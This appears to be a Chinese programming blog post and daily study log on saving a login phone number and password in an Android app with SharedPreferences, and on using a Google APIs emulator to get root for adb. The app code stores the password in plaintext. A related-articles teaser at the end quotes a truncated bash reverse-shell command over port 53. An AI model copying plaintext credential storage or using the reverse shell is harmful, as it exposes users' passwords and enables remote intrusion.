记住用户名和登录密码+虚拟机没有root权限解决办法
今日所学:
记住用户名和登录密码
用adb查看保存文件内容
遇到的问题:
用adb查看文件时,没有权限访问data文件
出现原因:google play虚拟机没有root权限
解决办法:
用google API的虚拟机
相关博客:adb shell中提示Permission denied - 简书
关于/system/bin/sh: su: not found的解决办法(安卓模拟器运行) - 程序员大本营
成果截图:

代码:
MainActivity.java
import androidx.appcompat.app.AppCompatActivity; import android.content.Context;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.text.Editable;
import android.text.TextWatcher;
import android.util.Log;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.EditText; public class MainActivity extends AppCompatActivity { private EditText mEtPhone;
private EditText mEtPasswd;
private CheckBox mPsd;
private String SP_PHONE="sp_phone";
private String SP_PASSWD="sp_passwd";
private SharedPreferences sharedPreferences;
private String SP_IS_REMEMBER="sp_is_remember";
private boolean isCheck=false;
private String TAG="MainActivity"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
initUI();
initData();
} private void initData() {
if(sharedPreferences==null){
sharedPreferences=getApplicationContext().getSharedPreferences("config", Context.MODE_PRIVATE);
}
mEtPhone.setText(sharedPreferences.getString(SP_PHONE,""));
mEtPasswd.setText(sharedPreferences.getString(SP_PASSWD,""));
isCheck=sharedPreferences.getBoolean(SP_IS_REMEMBER,false);
Log.i(TAG,"测试:"+isCheck);
mPsd.setChecked(isCheck);
} private void initUI() {
mEtPhone=findViewById(R.id.et_phone);
mEtPhone.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override
public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override
public void afterTextChanged(Editable s) {
if(isCheck){
if(sharedPreferences==null){
sharedPreferences=getApplicationContext().getSharedPreferences("config", Context.MODE_PRIVATE);
}
SharedPreferences.Editor edit=sharedPreferences.edit();
edit. putString(SP_PHONE,mEtPhone.getText().toString());
edit.commit();
} }
});
mEtPasswd=findViewById(R.id.et_passwd);
mEtPasswd.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override
public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override
public void afterTextChanged(Editable s) {
if(isCheck){
if(sharedPreferences==null){
sharedPreferences=getApplicationContext().getSharedPreferences("config", Context.MODE_PRIVATE);
}
SharedPreferences.Editor edit=sharedPreferences.edit();
edit.putString(SP_PASSWD,mEtPasswd.getText().toString());
edit.commit();
} }
});
mPsd=findViewById(R.id.cb_remember_psd);
mPsd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
Log.d(TAG,"状态为:"+isChecked);
isCheck=isChecked; if(sharedPreferences==null){
sharedPreferences=getApplicationContext().getSharedPreferences("config", Context.MODE_PRIVATE);
}
SharedPreferences.Editor edit=sharedPreferences.edit();
if(isChecked){
edit. putString(SP_PHONE,mEtPhone.getText().toString());
edit.putString(SP_PASSWD,mEtPasswd.getText().toString());
}
edit.putBoolean(SP_IS_REMEMBER,isChecked);
edit.commit();
}
}); }
}
activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity"> <EditText
android:id="@+id/et_phone"
android:inputType="phone"
android:hint="电话"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
<EditText
android:id="@+id/et_passwd"
android:inputType="textPassword"
android:hint="密码"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
<CheckBox
android:id="@+id/cb_remember_psd"
android:text="记住密码"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<Button
android:text="登录"
android:layout_width="match_parent"
android:layout_height="wrap_content"/> </LinearLayout>
明日计划:
保存用户数据到数据库
记住用户名和登录密码+虚拟机没有root权限解决办法的更多相关文章
- javascript记住用户名和登录密码
javascript记住用户名和登录密码 下面主要通过代码给大家展示下javascript记住用户名和登录密码,具体代码内容请看下文. <script type="text/javas ...
- mysql Access denied for user \'root\'@\'localhost\'”解决办法总结,下面我们对常见的出现的一些错误代码进行分析并给出解决办法,有需要的朋友可参考一下。
mysql Access denied for user \'root\'@\'localhost\'”解决办法总结,下面我们对常见的出现的一些错误代码进行分析并给出解决办法,有需要的朋友可参考一下. ...
- "SQLServer无法打开用户默认数据库,登录失败,错误4064"的解决办法
"SQLServer无法打开用户默认数据库,登录失败,错误4064"的解决办法 1.检查登录密码 如果密码错误,修改数据库密码,用windows身份验证登录进去, (1)安全--登 ...
- Linux提示no crontab for root的解决办法
Linux提示no crontab for root的解决办法 安装crontab:yum install crontabs 说明:/sbin/service crond start //启动服务/s ...
- MySQL运行出错:无法连接驱动、无root访问权限解决办法
按照疯狂java讲义的13.3的程序,发现程序运行出错. 1.点开runConnMySql.cmd运行文件,出现如下结果: 2.用Editplus进行编译运行,如下结果: 报错定位到程序第18行,而第 ...
- VM出现该虚拟机正在使用中的提示,让获取所有权限解决办法
今天打开虚拟机正要学习,结果说是虚拟机似乎正在使用中,让我重新获取权限.解决办法:打开提示的配置文件的位置,将一个以.lck结尾的文件夹删除或者保存为另外的文件名称,再打开虚拟机就OK了.
- Ubuntu14.04 切换root账户su root失败解决办法
原因是需要备份一个vimrc,可是cp就提示Permission denied. su root就提示su: Authentication failure 解决办法: sudo passwd root ...
- Ubunt 使用Virtualbox虚拟机NAT无法上网解决办法
我的Ubuntu安装了一个Centos虚拟机,为了SSH和上外网的方便,使用了NAT+host Only方式,实现内网+外网,但是安装好的Centos不能连接外网,很是无语,只能Google了-- 解 ...
- ssh远程登录出现Host key verification failed.解决办法
今天通过ssh和域名连接主机: IcarusdeMacBook-Pro:~ icarus$ ssh root@icarusyu.me 出现了如下错误: @@@@@@@@@@@@@@@@@@@@@@@@ ...
随机推荐
- 0x01 向日葵日志溯源
1.简介 向日葵工具具有linux桌面系统版本,在应急场景中,攻击者通过向日葵远控linux实现入侵是一种常见手法,通过分析向日葵的服务日志,可以分析出安全事件时间发生点前后有无向日葵远控的行为,但由 ...
- 微信小程序知识点汇总
微信小程序常用标签与HTML的对应关系 <div></div> <view></view> <h1></h1>...<h6 ...
- eval()计算某个字符串,js和jquery都可以使用
实例 执行JavaScript代码或表达式: <script>eval("x=10;y=20;document.write(x*y)");document.write( ...
- Gin 08 上传文件
单文件上传 cat index.html <!DOCTYPE html> <html lang="en"> <head> <meta ch ...
- 一步一步迁移ASP.NET Core 6.0-Part2
.NET 6 发布后,我们现有的应用会逐步升级到这个版本,首当其冲的是原因的ASP.NET Core的工程,如果一步一步升级到ASP.NET Core 6.0. 上一篇博文中,跟大家详细介绍了中间件. ...
- 记录VMware安装VMware Tools过程及遇到的一些问题
镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 本文以CentOS安装为例 为什么要安装VMware Tools ? 便于在Windows 下更好管理虚拟机 便于设置Windows和CentOS ...
- http请求中的三种参数类型
1.URL参数:实际就是querry string的方式,参数拼接在url之后以?隔开,参数之间以&连接. 优点:简单,页面跳转比较快. 缺点:1.基于浏览器对urk长度有限制,不能超过204 ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...
- 什么是Netflix Feign?它的优点是什么?
Feign是受到Retrofit,JAXRS-2.0和WebSocket启发的java客户端联编程序.Feign的第一个目标是将约束分母的复杂性统一到http apis,而不考虑其稳定性.在emplo ...
- elasticsearch 索引数据多了怎么办,如何调优,部署 ?
面试官:想了解大数据量的运维能力. 解答:索引数据的规划,应在前期做好规划,正所谓"设计先行,编码在后", 这样才能有效的避免突如其来的数据激增导致集群处理能力不足引发的线上客户 ...